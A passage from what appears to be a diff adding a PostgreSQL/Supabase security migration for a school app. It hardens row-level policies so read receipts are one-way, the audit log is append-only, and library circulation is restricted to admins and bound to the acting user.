>= current_date) + AND ( + cardinality(p.section_ids) = 0 + OR EXISTS ( + SELECT 1 FROM public.enrollments e + WHERE e.student_id = auth.uid() AND e.section_id = ANY (p.section_ids) + ) + ) + ) + ); + + +-- ============================================================================ +-- PART 7 — F-10: read receipts are evidence; make them one-way +-- ============================================================================ + +DROP POLICY IF EXISTS notice_recipients_own_update ON public.notice_recipients; +REVOKE UPDATE ON TABLE public.notice_recipients FROM anon, authenticated; +GRANT UPDATE (read_at) ON TABLE public.notice_recipients TO authenticated; + +CREATE POLICY notice_recipients_mark_read ON public.notice_recipients + FOR UPDATE TO authenticated + USING (auth.uid() = user_id AND read_at IS NULL) -- one way only + WITH CHECK (auth.uid() = user_id AND read_at IS NOT NULL); + + +-- ============================================================================ +-- PART 8 — F-09: audit trail integrity +-- ============================================================================ + +-- Non-service inserts must be attributable to the caller. +DROP POLICY IF EXISTS audit_log_admin_insert ON public.audit_log; +CREATE POLICY audit_log_admin_insert ON public.audit_log + FOR INSERT TO authenticated + WITH CHECK (public.is_admin() AND actor_id = auth.uid()); + +DROP POLICY IF EXISTS audit_log_admin_select ON public.audit_log; +CREATE POLICY audit_log_admin_select ON public.audit_log + FOR SELECT TO authenticated + USING (public.is_admin()); + +REVOKE UPDATE, DELETE, TRUNCATE ON TABLE public.audit_log FROM anon, authenticated; + +CREATE OR REPLACE FUNCTION public.audit_log_immutable() +RETURNS trigger +LANGUAGE plpgsql SECURITY INVOKER +SET search_path = '' +AS $$ +BEGIN + RAISE EXCEPTION 'audit_log is append-only (attempted %)', TG_OP + USING ERRCODE = '42501'; +END; +$$; + +REVOKE ALL ON FUNCTION public.audit_log_immutable() FROM PUBLIC; + +DROP TRIGGER IF EXISTS audit_log_no_mutation ON public.audit_log; +CREATE TRIGGER audit_log_no_mutation + BEFORE UPDATE OR DELETE ON public.audit_log + FOR EACH ROW EXECUTE FUNCTION public.audit_log_immutable(); + +ALTER TABLE public.audit_log ALTER COLUMN created_at SET DEFAULT now(); + + +-- ============================================================================ +-- PART 9 — F-12: library circulation is admin-(or librarian-)only and bound +-- to the acting user +-- ============================================================================ + +DROP POLICY IF EXISTS books_staff_write ON public.books; +DROP POLICY IF EXISTS books_admin_write ON public.books; +CREATE POLICY books_admin_write ON public.books + FOR ALL TO authenticated + USING (public.is_admin()) + WITH CHECK (public.is_admin()); + +DROP POLICY IF EXISTS books_read ON public.books; +CREATE POLICY books_read ON public.books + FOR SELECT TO authenticated USING (true); + +DROP POLICY IF EXISTS book_issues_staff_write ON public.book_issues; +DROP POLICY IF EXISTS book_issues_librarian_insert ON public.book_issues; +CREATE POLICY book_issues_librarian_insert ON public.book_issues + FOR INSERT TO authenticated + WITH CHECK (public.is_admin() AND issued_by = auth.uid()); + +DROP POLICY IF EXISTS book_issues_librarian_return ON public.book_issues; +CREATE POLICY book_issues_librarian_return ON public.book_issues + FOR UPDATE TO authenticated + USING (public.is_admin() AND issued_by = auth.uid()) + WITH CHECK (public.is_admin() AND issued_by = auth.uid()); + +-- No DELETE policy: returns are recorded, never erased. +REVOKE DELETE ON TABLE public.book_issues FROM anon, authenticated; + +-- If staff other than admins must run circulation, add a librarian flag in a +-- NEW table (not in profiles, whose privileged columns are protected) and +-- extend these three policies. Do not widen them back to app_role() IN (...).